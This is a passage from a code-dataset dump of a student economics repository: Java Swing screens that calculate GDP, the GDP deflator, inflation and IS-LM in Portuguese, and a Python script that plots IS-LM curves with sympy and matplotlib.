d.width, d.height);\n\t\tgetContentPane().add(btnCalcular);\n\t\tbtnCalcular.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tcalcular(e);\n\t\t\t}\n\t\t});\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void calcular(ActionEvent e) {\n\t\tString txtQtdA = tfQtdProdutoA.getText();\n\t\tString txtQtdB = tfQtdProdutoB.getText();\n\t\tString txtPrecoA = tfPrecoA.getText();\n\t\tString txtPrecoB = tfPrecoB.getText();\n\n\t\ttry {\n\t\t\tValidador.validaCampoInteiro(txtQtdA, \"Quantidade de A\");\n\t\t\tValidador.validaCampoInteiro(txtQtdB, \"Quantidade de B\");\n\t\t\tValidador.validaCampoDinheiro(txtPrecoA, \"Preco de A\");\n\t\t\tValidador.validaCampoDinheiro(txtPrecoB, \"Preco de B\");\n\n\t\t\tint qtdA, qtdB;\n\t\t\tdouble precoA, precoB;\n\n\t\t\tqtdA = Integer.parseInt(txtQtdA);\n\t\t\tqtdB = Integer.parseInt(txtQtdB);\n\n\t\t\tprecoA = Double.parseDouble(txtPrecoA);\n\t\t\tprecoB = Double.parseDouble(txtPrecoB);\n\n\t\t\tdouble PIB = (qtdA * precoA) + (qtdB * precoB);\n\n\t\t\tString resposta = \"O valor do PIB foi de: \" + PIB + \"\\n\";\n\n\t\t\tJOptionPane.showMessageDialog(this, resposta);\n\t\t\tlimparCampos();\n\n\t\t} catch (ValidacaoException ex) {\n\t\t\tJOptionPane.showMessageDialog(this, ex.getMessage());\n\t\t}\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void limparCampos() {\n\t\ttfQtdProdutoA.setText(\"Digite um numero inteiro positivo\");\n\t\ttfQtdProdutoB.setText(\"Digite um numero inteiro positivo\");\n\t\ttfPrecoA.setText(\"Digite no formato ##.## ou um inteiro positivo\");\n\t\ttfPrecoB.setText(\"Digite no formato ##.## ou um inteiro positivo\");\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void voltar(javax.swing.event.MenuEvent evt) {\n\n\t\tJFrame telaElasticidade = InterfaceController.controlaTelas(\"TelaMacroeconomia\");\n\t\ttelaElasticidade.setVisible(true);\n\n\t\tdispose();\n\t}\n\t/*******************************************************************************/\n\n}\n" }, { "alpha_fraction": 0.6004890203475952, "alphanum_fraction": 0.6073349714279175, "avg_line_length": 29.522388458251953, "blob_id": "6653faa7d76c2af6142223eb933d02b550618c65", "content_id": "d6371d12adababf977af322995a74ae748e0cf98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2045, "license_type": "no_license", "max_line_length": 94, "num_lines": 67, "path": "/src/interfaceUsuario/FrameSecundario.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario;\n\nimport java.awt.Dimension;\nimport java.awt.Font;\n\nimport javax.swing.ImageIcon;\nimport javax.swing.JLabel;\nimport javax.swing.JScrollPane;\nimport javax.swing.JTextArea;\n\npublic abstract class FrameSecundario extends FramePrincipal {\n\tprotected String textoPrincipal;\n\tprotected int widthTexto;\n\tprotected int heightTexto;\n\n\tpublic FrameSecundario() {\n\n\t\theight = 900;\n\t\twidth = 750;\n\t\twidthTexto = 3 * width / 4;\n\t\theightTexto = height / 8;\n\t\tdefinirTexto();\n\n\t\tJTextArea txtArea = new JTextArea(textoPrincipal);\n\t\ttxtArea.setEditable(false);\n\t\ttxtArea.setFont(new Font(\"Arial\", 0, 14));\n\t\tgetContentPane().add(caixaDeTexto(txtArea, width / 8, height / 6, widthTexto, heightTexto));\n\t}\n\n\t/***************************************************************************/\n\n\tprotected JScrollPane caixaDeTexto(JTextArea txtArea, int posX, int posY, int w, int h) {\n\n\t\tJScrollPane scrollPane = new JScrollPane(txtArea);\n\n\t\tscrollPane.setBounds(posX, posY, w, h);\n\t\tscrollPane.setHorizontalScrollBarPolicy(JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);\n\t\tscrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS);\n\t\treturn scrollPane;\n\n\t}\n\n\t/***************************************************************************/\n\n\tprotected void inserirImagem(String imagem, int posX, int posY) {\n\t\tImageIcon icon = getImagem(imagem);\n\t\tJLabel label = new JLabel(icon);\n\t\tlabel.setBounds(posX, posY, icon.getIconWidth(), icon.getIconHeight());\n\t\tgetContentPane().add(label);\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate ImageIcon getImagem(String nome) {\n\t\tString caminhoDaImagem = \"imagens/\" + nome;\n\t\tClassLoader classLoader = this.getClass().getClassLoader();\n\t\tImageIcon icone = new ImageIcon(classLoader.getResource(caminhoDaImagem));\n\t\treturn icone;\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected abstract void definirTexto();\n\t/*******************************************************************************/\n\n}\n" }, { "alpha_fraction": 0.7266666889190674, "alphanum_fraction": 0.7266666889190674, "avg_line_length": 19.149253845214844, "blob_id": "750d5d000660bc3bc679ad139d9bae9c40ac5c64", "content_id": "d096d5d9e144d54e407c5890c18ca31eff16306b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1350, "license_type": "no_license", "max_line_length": 58, "num_lines": 67, "path": "/src/interfaceUsuario/InterfaceController.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario;\n\nimport interfaceUsuario.Elasticidade.*;\nimport javax.swing.JFrame;\nimport javax.swing.JOptionPane;\n\nimport interfaceUsuario.Elasticidade.TelaElasticidade;\nimport interfaceUsuario.OfertaDemanda.TelaOfertaVsDemanda;\nimport interfaceUsuario.RendaNacional.TelaPib;\n\npublic class InterfaceController {\n\n\tpublic static JFrame controlaTelas(String telaNova) {\n\t\tJFrame novaTela = new JFrame();\n\n\t\tswitch (telaNova) {\n\n\t\tcase \"PrecoCruzada\":\n\t\t\tnovaTela = new ElasticidadePrecoCruzada();\n\t\t\tbreak;\n\n\t\tcase \"PrecoDemanda\":\n\t\t\tnovaTela = new ElasticidadePrecoDemanda();\n\t\t\tbreak;\n\n\t\tcase \"ProcuraRendimento\":\n\t\t\tnovaTela = new ElasticidadeProcuraRendimento();\n\t\t\tbreak;\n\n\t\tcase \"TelaElasticidade\":\n\t\t\tnovaTela = new TelaElasticidade();\n\t\t\tbreak;\n\n\t\tcase \"TelaInflacao\":\n\t\t\tnovaTela = new TelaInflacao();\n\t\t\tbreak;\n\n\t\tcase \"TelaInicial\":\n\t\t\tnovaTela = new TelaInicial();\n\t\t\tbreak;\n\n\t\tcase \"TelaMacroeconomia\":\n\t\t\tnovaTela = new TelaMacroeconomia();\n\t\t\tbreak;\n\n\t\tcase \"TelaMicroeconomia\":\n\t\t\tnovaTela = new TelaMicroeconomia();\n\t\t\tbreak;\n\n\t\tcase \"TelaISLM\":\n\t\t\tnovaTela = new TelaISLM();\n\t\t\tbreak;\n\n\t\tcase \"TelaOfertaVsDemanda\":\n\t\t\tnovaTela = new TelaOfertaVsDemanda();\n\t\t\tbreak;\n\n\t\tcase \"TelaPIB\":\n\t\t\tnovaTela = new TelaPib();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tJOptionPane.showMessageDialog(null, \"Tela invalida\");\n\n\t\t}\n\t\treturn novaTela;\n\t}\n}\n" }, { "alpha_fraction": 0.6401071548461914, "alphanum_fraction": 0.669344961643219, "avg_line_length": 35.57551193237305, "blob_id": "b4c756bb9b6146459575ed918c3b4913c79e24ac", "content_id": "74d9ed2ed91f5dcae0c763b2362c7d5bb2ba3bed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 8973, "license_type": "no_license", "max_line_length": 114, "num_lines": 245, "path": "/src/interfaceUsuario/TelaInflacao.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario;\n\nimport java.awt.Dimension;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\n\nimport javax.swing.JButton;\nimport javax.swing.JFrame;\nimport javax.swing.JOptionPane;\nimport javax.swing.JScrollPane;\nimport javax.swing.JTextArea;\nimport javax.swing.JTextField;\n\npublic class TelaInflacao extends FrameSecundario {\n\tprivate JTextField tfPIBNominal1;\n\tprivate JTextField tfPIBNominal2;\n\tprivate JTextField tfPIBReal1;\n\tprivate JTextField tfPIBReal2;\n\n\t/*******************************************************************************/\n\n\tpublic TelaInflacao() {\n\n\t\tinserirImagem(\"deflator.jpg\", width / 8 - 50, height / 3);\n\t\tinicializaExtras();\n\t\tinitComponents();\n\t\tsetTitulo(\"Inflacao\");\n\t}\n\n\t/***************************************************************************/\n\n\tprotected void voltar(javax.swing.event.MenuEvent evt) {\n\n\t\tJFrame telaMacroeconomia = InterfaceController.controlaTelas(\"TelaMacroeconomia\");\n\t\ttelaMacroeconomia.setVisible(true);\n\n\t\tdispose();\n\t}\n\n\t/*******************************************************************************/\n\n\tpublic void inicializaExtras() {\n\t\tString textoPIBNominal1 = \"Insira o PIB Nominal do ano 1\";\n\n\t\tJTextArea tAPIBNominal1 = txtGenerico(textoPIBNominal1);\n\t\tDimension dPIBNominal1 = tAPIBNominal1.getPreferredSize();\n\t\tJScrollPane panelPIBNominal1 = caixaDeTexto(tAPIBNominal1, width / 8, height / 3 + 200, dPIBNominal1.width + 10,\n\t\t\t\tdPIBNominal1.height + 5);\n\t\tpanelPIBNominal1.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelPIBNominal1);\n\n\t\ttfPIBNominal1 = new JTextField();\n\t\ttfPIBNominal1.setBounds(width / 8, height / 3 + 225, dPIBNominal1.width + 10, dPIBNominal1.height + 5);\n\t\ttfPIBNominal1.setText(\"Digite um numero inteiro positivo\");\n\t\tgetContentPane().add(tfPIBNominal1);\n\n\t\tString textoPIBNominal2 = \"Insira o PIB Nominal do ano 2\";\n\n\t\tJTextArea tAPIBNominal2 = txtGenerico(textoPIBNominal2);\n\t\tJScrollPane panelPIBNominal2 = caixaDeTexto(tAPIBNominal2, width / 8 + 300, height / 3 + 200,\n\t\t\t\tdPIBNominal1.width + 10, dPIBNominal1.height + 5);\n\t\tpanelPIBNominal2.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelPIBNominal2);\n\n\t\ttfPIBNominal2 = new JTextField();\n\t\ttfPIBNominal2.setBounds(width / 8 + 300, height / 3 + 225, dPIBNominal1.width + 10, dPIBNominal1.height + 5);\n\t\ttfPIBNominal2.setText(\"Digite um numero inteiro positivo\");\n\t\tgetContentPane().add(tfPIBNominal2);\n\n\t\tString textoPIBReal1 = \"Insira o PIB Real do ano 1\";\n\n\t\tJTextArea tAPIBReal1 = txtGenerico(textoPIBReal1);\n\t\tJScrollPane panelPIBReal1 = caixaDeTexto(tAPIBReal1, width / 8, height / 3 + 300, dPIBNominal1.width + 10,\n\t\t\t\tdPIBNominal1.height + 5);\n\t\tpanelPIBReal1.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelPIBReal1);\n\n\t\ttfPIBReal1 = new JTextField();\n\t\ttfPIBReal1.setBounds(width / 8, height / 3 + 325, dPIBNominal1.width + 10, dPIBNominal1.height + 5);\n\t\ttfPIBReal1.setText(\"Digite um numero inteiro positivo\");\n\t\tgetContentPane().add(tfPIBReal1);\n\n\t\tString textoPIBReal2 = \"Insira o PIB Real do ano 2\";\n\n\t\tJTextArea tAPIBReal2 = txtGenerico(textoPIBReal2);\n\t\tJScrollPane panelPIBReal2 = caixaDeTexto(tAPIBReal2, width / 8 + 300, height / 3 + 300, dPIBNominal1.width + 10,\n\t\t\t\tdPIBNominal1.height + 5);\n\t\tpanelPIBReal2.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelPIBReal2);\n\n\t\ttfPIBReal2 = new JTextField();\n\t\ttfPIBReal2.setBounds(width / 8 + 300, height / 3 + 325, dPIBNominal1.width + 10, dPIBNominal1.height + 5);\n\t\ttfPIBReal2.setText(\"Digite um numero inteiro positivo\");\n\t\tgetContentPane().add(tfPIBReal2);\n\n\t\tJButton btnDeflator1 = new JButton(\"Deflator 1\");\n\t\tDimension d = btnDeflator1.getPreferredSize();\n\t\tbtnDeflator1.setBounds(width / 8, height / 3 + 400, d.width, d.height);\n\t\tgetContentPane().add(btnDeflator1);\n\t\tbtnDeflator1.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tbotaoDeflator1(e);\n\t\t\t}\n\t\t});\n\n\t\tJButton btnDeflator2 = new JButton(\"Deflator 2\");\n\t\td = btnDeflator2.getPreferredSize();\n\t\tbtnDeflator2.setBounds(width / 2 - 75, height / 3 + 400, d.width, d.height);\n\t\tgetContentPane().add(btnDeflator2);\n\t\tbtnDeflator2.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tbotaoDeflator2(e);\n\t\t\t}\n\t\t});\n\n\t\tJButton btnInflacao = new JButton(\"Inflacao\");\n\t\td = btnInflacao.getPreferredSize();\n\t\tbtnInflacao.setBounds(width / 8 + 400, height / 3 + 400, d.width, d.height);\n\t\tgetContentPane().add(btnInflacao);\n\t\tbtnInflacao.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tbotaoInflacao(e);\n\t\t\t}\n\t\t});\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void botaoDeflator1(ActionEvent e) {\n\t\tString txtPIBNominal = tfPIBNominal1.getText();\n\t\tString txtPIBReal1 = tfPIBReal1.getText();\n\n\t\ttry {\n\t\t\tValidador.validaCampoDinheiro(txtPIBNominal, \"PIB Nominal do ano 1\");\n\t\t\tValidador.validaCampoDinheiro(txtPIBReal1, \"PIB Real do ano 1\");\n\n\t\t\tdouble pibNominal1, pibReal1, deflator1;\n\n\t\t\tpibNominal1 = Double.parseDouble(txtPIBNominal);\n\t\t\tpibReal1 = Double.parseDouble(txtPIBReal1);\n\n\t\t\tdeflator1 = calculaDeflator(pibReal1, pibNominal1);\n\n\t\t\tString resposta = \"O valor do deflator para o ano 1 foi de: \" + deflator1 + \"%\\n\";\n\n\t\t\tJOptionPane.showMessageDialog(this, resposta);\n\n\t\t} catch (ValidacaoException ex) {\n\t\t\tJOptionPane.showMessageDialog(this, ex.getMessage());\n\t\t}\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void botaoDeflator2(ActionEvent e) {\n\t\tString txtPIBNominal2 = tfPIBNominal2.getText();\n\t\tString txtPIBReal2 = tfPIBReal2.getText();\n\n\t\ttry {\n\t\t\tValidador.validaCampoDinheiro(txtPIBNominal2, \"PIB Nominal do ano 2\");\n\t\t\tValidador.validaCampoDinheiro(txtPIBReal2, \"PIB Real do ano 2\");\n\n\t\t\tdouble pibNominal2, pibReal2, deflator;\n\n\t\t\tpibNominal2 = Double.parseDouble(txtPIBNominal2);\n\t\t\tpibReal2 = Double.parseDouble(txtPIBReal2);\n\n\t\t\tdeflator = calculaDeflator(pibReal2, pibNominal2);\n\n\t\t\tString resposta = \"O valor do deflator para o ano 2 foi de: \" + deflator + \"%\\n\";\n\n\t\t\tJOptionPane.showMessageDialog(this, resposta);\n\n\t\t} catch (ValidacaoException ex) {\n\t\t\tJOptionPane.showMessageDialog(this, ex.getMessage());\n\t\t}\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void botaoInflacao(ActionEvent e) {\n\t\tString txtPIBNominal = tfPIBNominal1.getText();\n\t\tString txtPIBNominal2 = tfPIBNominal2.getText();\n\t\tString txtPIBReal1 = tfPIBReal1.getText();\n\t\tString txtPIBReal2 = tfPIBReal2.getText();\n\n\t\ttry {\n\t\t\tValidador.validaCampoDinheiro(txtPIBNominal, \"PIB Nominal do ano 1\");\n\t\t\tValidador.validaCampoDinheiro(txtPIBNominal2, \"PIB Nominal do ano 2\");\n\t\t\tValidador.validaCampoDinheiro(txtPIBReal1, \"PIB Real do ano 1\");\n\t\t\tValidador.validaCampoDinheiro(txtPIBReal2, \"PIB Real do ano 2\");\n\n\t\t\tdouble pibNominal1, pibNominal2, pibReal1, pibReal2, inflacao;\n\n\t\t\tpibNominal1 = Double.parseDouble(txtPIBNominal);\n\t\t\tpibNominal2 = Double.parseDouble(txtPIBNominal2);\n\n\t\t\tpibReal1 = Double.parseDouble(txtPIBReal1);\n\t\t\tpibReal2 = Double.parseDouble(txtPIBReal2);\n\n\t\t\tinflacao = calculaInflacao(calculaDeflator(pibReal1, pibNominal1), calculaDeflator(pibReal2, pibNominal2));\n\n\t\t\tString resposta = \"O valor da taxa de inflacao para o ano 2 foi de: \" + inflacao + \"%\\n\";\n\n\t\t\tJOptionPane.showMessageDialog(this, resposta);\n\t\t\tlimparCampos();\n\n\t\t} catch (ValidacaoException ex) {\n\t\t\tJOptionPane.showMessageDialog(this, ex.getMessage());\n\t\t}\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate double calculaDeflator(double pibReal, double pibNominal) {\n\t\treturn pibNominal / pibReal * 100;\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate double calculaInflacao(double deflator1, double deflator2) {\n\t\treturn (deflator2 - deflator1) / deflator1;\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void limparCampos() {\n\t\ttfPIBNominal1.setText(\"Digite no formato ##.## ou um inteiro positivo\");\n\t\ttfPIBNominal2.setText(\"Digite no formato ##.## ou um inteiro positivo\");\n\t\ttfPIBReal1.setText(\"Digite no formato ##.## ou um inteiro positivo\");\n\t\ttfPIBReal2.setText(\"Digite no formato ##.## ou um inteiro positivo\");\n\t}\n\n\t/*******************************************************************************/\n\n\tpublic void definirTexto() {\n\t\tthis.textoPrincipal = \" Com base nos valores de PIB nominal e PIB real de um ano, é possível calcular\\n\"\n\t\t\t\t+ \"o deflator do PIB. O deflator é usado para medir a inflação ou a desvalorização da\\n\"\n\t\t\t\t+ \"moeda O cálculo da inflação é feito com base na fórmula abaixo:\";\n\t}\n\t/*******************************************************************************/\n}\n" }, { "alpha_fraction": 0.5681458115577698, "alphanum_fraction": 0.5681458115577698, "avg_line_length": 25.29166603088379, "blob_id": "0fae0bdf7edbac4625be7c8d55778776131eb7f8", "content_id": "805fbe4476a2ef2f008ff7324b767ddb2d5609eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2524, "license_type": "no_license", "max_line_length": 82, "num_lines": 96, "path": "/src/interfaceUsuario/TelaMacroeconomia.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario;\n\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.util.LinkedList;\n\nimport javax.swing.JButton;\nimport javax.swing.JFrame;\n\npublic class TelaMacroeconomia extends FramePrincipal {\n\tprivate JButton botaoRendaNacional;\n\tprivate JButton botaoISLM;\n\tprivate JButton botaoInflacao;\n\n\t/*******************************************************************************/\n\n\tpublic TelaMacroeconomia() {\n\t\tinitComponents();\n\t\tsetTitulo(\"MACROECONOMIA\");\n\t\tinitButtons();\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void initButtons() {\n\t\tbotaoRendaNacional = new JButton();\n\t\tbotaoRendaNacional.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tPIB(e);\n\t\t\t}\n\t\t});\n\t\tbotaoRendaNacional.setText(\"PIB\");\n\n\t\tbotaoISLM = new JButton();\n\t\tbotaoISLM.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tISLM(e);\n\t\t\t}\n\t\t});\n\t\tbotaoISLM.setText(\"IS-LM\");\n\n\t\tbotaoInflacao = new JButton();\n\t\tbotaoInflacao.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tinflacao(e);\n\t\t\t}\n\t\t});\n\t\tbotaoInflacao.setText(\"Deflator/Inflacao/Deflacao\");\n\n\t\tLinkedList<JButton> botoes = new LinkedList<>();\n\t\tbotoes.add(botaoRendaNacional);\n\t\tbotoes.add(botaoISLM);\n\t\tbotoes.add(botaoInflacao);\n\t\tinsereBotoes(botoes);\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void PIB(ActionEvent e) {\n\t\tJFrame PIB = InterfaceController.controlaTelas(\"TelaPIB\");\n\t\tPIB.setVisible(true);\n\t\tdispose();\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void ISLM(ActionEvent e) {\n\t\tJFrame telaISLM = InterfaceController.controlaTelas(\"TelaISLM\");\n\t\ttelaISLM.setVisible(true);\n\t\tdispose();\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void inflacao(ActionEvent e) {\n\t\tJFrame telaInflacao = InterfaceController.controlaTelas(\"TelaInflacao\");\n\t\ttelaInflacao.setVisible(true);\n\t\tdispose();\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void voltar(javax.swing.event.MenuEvent evt) {\n\n\t\tJFrame telaInicial = InterfaceController.controlaTelas(\"TelaInicial\");\n\t\ttelaInicial.setVisible(true);\n\n\t\tdispose();\n\t}\n\t/*******************************************************************************/\n\n}\n" }, { "alpha_fraction": 0.505393385887146, "alphanum_fraction": 0.5133248567581177, "avg_line_length": 35.651161193847656, "blob_id": "d854fe0829c9f5a0979de731d8dfacf5bb3a483b", "content_id": "784eaa081a6fa4d3fc5a835859ed52521c55be75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3179, "license_type": "no_license", "max_line_length": 106, "num_lines": 86, "path": "/src/interfaceUsuario/ISLM/TelaISLM.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario.ISLM;\n\n\nimport interfaceUsuario.FrameSecundario;\nimport interfaceUsuario.InterfaceController;\n\nimport javax.swing.*;\nimport java.awt.event.ActionEvent;\n\npublic class TelaISLM extends FrameSecundario {\n private javax.swing.JTextField c0, c1, T, I, G, M, P, MP;\n private javax.swing.JCheckBox zero ,one, two, three, four;\n\n public TelaISLM(){\n initComponents();\n\n }\n\n public void plottar(ActionEvent e) throws Exception {\n String type;\n if (this.zero.isSelected()){\n type = \"0\";\n }else if (this.one.isSelected()){\n type = \"1\";\n }else if (this.two.isSelected()){\n type = \"2\";\n }else if (this.three.isSelected()){\n type = \"3\";\n }else {\n type = \"4\";\n }\n String [] args;\n args = new String[9];\n args[0] = type;\n args[1] = this.c0.getText();\n args[2] = this.c1.getText();\n args[3] = this.T.getText();\n args[4] = this.I.getText();\n args[5] = this.G.getText();\n args[6] = this.M.getText();\n args[7] = this.P.getText();\n args[8] = this.MP.getText();\n islm.criarGrafico(args);\n }\n\n public void iniciarExtra(){\n\n }\n /***************************************************************************/\n\n protected void voltar(javax.swing.event.MenuEvent evt) {\n\n JFrame telaMacroeconomia = InterfaceController.controlaTelas(\"TelaMacroeconomia\");\n telaMacroeconomia.setVisible(true);\n\n dispose();\n }\n\n /*******************************************************************************/\n\n\n @Override\n protected void definirTexto() {\n this.textoPrincipal =\n \"O modelo IS-LM (curto para investment-savings, liquidity preference-money supply) \\n\" +\n \"é um modelo macroeconômico Keynesiano que mostra a relação entre a taxa real de \\n\" +\n \"juros (eixo das ordenadas) e o PIB real (eixo das abscissas) de um país. A taxa real\\n\" +\n \"de juros se trata da taxa de juros nominal menos a taxa de inflação, e o PIB real é \\n\" +\n \"representado pela equação Y = C + I + G + NX tal que:\\n\" +\n \"\\t- C (consumo) = c0 + c1(renda disponível = Y - T)\\n\" +\n \"\\t\\t- c0: consumo autônomo (gastos em necessidades básicas)\\n\" +\n \"\\t\\t- c1: propensão marginal a consumir (incremento no consumo sob o acréscimo na \" +\n \"\\t\\t\\trenda disponível)\\n\" +\n \"\\t- Y: renda agregada\\n\" +\n \"\\t- T: imposto agregado\\n\" +\n \"\\t- I (investimento planejado) = F(r)\\n\" +\n \"\\t- r: taxa real de juros \\n\" +\n \"\\t- F(r) : função proporcionalmente inversa a r\\n\" +\n \"\\t- G: despesas públicas\\n\" +\n \"\\t- NX: exportações líquidas \\n\" +\n \"\\n\" +\n \"Para a curva de LM, temos a seguinte equação:\\n\" +\n \" \\tM/P = F(Y, r) tal que M é o estoque de dinheiro (money supply) \\n\" +\n \"\\t\\te P o nível de preço. Ex.: Y - 20*r\";\n }\n}\n" }, { "alpha_fraction": 0.5503166913986206, "alphanum_fraction": 0.5967628359794617, "avg_line_length": 34.83116912841797, "blob_id": "63cc9512931751f57c441a2e25b2f6a13d9096b1", "content_id": "18f8882bca457eb64fed6436ad56d3137e1803dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2842, "license_type": "no_license", "max_line_length": 136, "num_lines": 77, "path": "/islm.py", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport sys\r\nimport sympy\r\nfrom sympy.parsing.sympy_parser import parse_expr\r\n\r\ntype = sys.argv[1]\r\nY, r = sympy.symbols('Y,r')\r\nc0 = float(sys.argv[2]) #120\r\nc1 = float(sys.argv[3]) #0.5\r\nT = float(sys.argv[4]) #40\r\nI = sys.argv[5] #\"100-10*r\"\r\nG = float(sys.argv[6]) #50\r\nM = float(sys.argv[7]) #600\r\nP = float(sys.argv[8]) #2\r\nMP = sys.argv[9] #\"Y-20*r\"\r\n\r\nfinalY = \"Y-({}+{}*(Y-{})+{}+{})\".format(c0, c1, T, I, G)\r\nfinalY2 = \"({}/{}-({}))\".format(M, P, MP)\r\nIS_expr = parse_expr(finalY, local_dict={'Y': Y, 'r': r}, evaluate=False)\r\nLM_expr = parse_expr(finalY2, local_dict={'Y': Y, 'r': r}, evaluate=False)\r\nYaxis = np.arange(0, 700)/10\r\nXaxis = []\r\nXaxis2 = []\r\nfor y in Yaxis:\r\n Xaxis += sympy.solve(IS_expr.subs(r, y), Y)\r\n Xaxis2 += sympy.solve(LM_expr.subs(r, y), Y)\r\n\r\n\r\nIS_expr2 = sympy.solve(IS_expr, Y)[0]\r\nLM_expr2 = sympy.solve(LM_expr, Y)[0]\r\nponto_equilibrio = sympy.solve(IS_expr2 - (LM_expr2), r)[0]\r\nYequilibrio = sympy.solve(LM_expr.subs(r, ponto_equilibrio), Y)[0]\r\nthreshold1 = Xaxis.index(min(Xaxis, key=lambda x: abs(x - Xaxis2[0])))\r\nthreshold2 = Xaxis2.index(min(Xaxis2, key=lambda x: abs(x - Xaxis[0])))\r\nplt.figure()\r\nplt.plot(Xaxis[:threshold1], Yaxis[:threshold1], label=\"IS\")\r\nplt.plot(Xaxis2[:threshold2], Yaxis[:threshold2], label=\"LM\")\r\nplt.scatter([Yequilibrio], [ponto_equilibrio], color=\"black\", label=str(Yequilibrio)[:6]+\", \"+str(ponto_equilibrio)[:3] + \"%\", zorder=3)\r\nplt.xlabel(\"PIB real\")\r\nplt.ylabel(\"Taxa de juros\")\r\nif type == \"0\":\r\n plt.legend()\r\n plt.show()\r\nif type == \"1\":\r\n Xaxis11 = []\r\n for y in Yaxis:\r\n Xaxis11 += [(sympy.solve(IS_expr.subs(r, y), Y)[0])+(threshold1/2)]\r\n threshold = Xaxis11.index(min(Xaxis11, key=lambda x: abs(x - Xaxis[0])))\r\n plt.plot(Xaxis11[threshold:], Yaxis[threshold:], label=\"IS2\")\r\n plt.legend()\r\n plt.show()\r\nif type == \"2\":\r\n Xaxis11 = []\r\n for y in Yaxis:\r\n Xaxis11 += [(sympy.solve(IS_expr.subs(r, y), Y)[0]) - (threshold1 / 2)]\r\n threshold = Xaxis11.index(min(Xaxis11, key=lambda x: abs(x - Xaxis2[0])))\r\n plt.plot(Xaxis11[:threshold], Yaxis[:threshold], label=\"IS2\")\r\n plt.legend()\r\n plt.show()\r\n\r\nif type == \"3\":\r\n Xaxis22 = []\r\n for y in Yaxis:\r\n Xaxis22 += [(sympy.solve(LM_expr.subs(r, y), Y)[0]) + (threshold1 / 2)]\r\n threshold = Xaxis22.index(min(Xaxis22, key=lambda x: abs(x - Xaxis[0])))\r\n plt.plot(Xaxis22[:threshold], Yaxis[:threshold], label=\"LM2\")\r\n plt.legend()\r\n plt.show()\r\nif type == \"4\":\r\n Xaxis22 = []\r\n for y in Yaxis:\r\n Xaxis22 += [(sympy.solve(LM_expr.subs(r, y), Y)[0]) - (threshold1 / 2)]\r\n threshold = Xaxis22.index(min(Xaxis22, key=lambda x: abs(x - Xaxis[0])))\r\n plt.plot(Xaxis22[:threshold], Yaxis[:threshold], label=\"LM2\")\r\n plt.legend()\r\n plt.show()\r\n\r\n\r\n\r\n" } ]
10
prestigelocal/ballin-octo-archer
https://github.com/prestigelocal/ballin-octo-archer
6df37d32069cd473518d17fcd4c412c78898eff6
8c31095dd05f5910b9bb88196bfc7c22d80f625a
84c401dd1204b05c8c13c59fbc067ea4a965a3d3
refs/heads/master
2016-09-05T18:33:22.554702
2014-10-02T21:31:56
2014-10-02T21:31:56
null
0
0
null
null
null
null
null
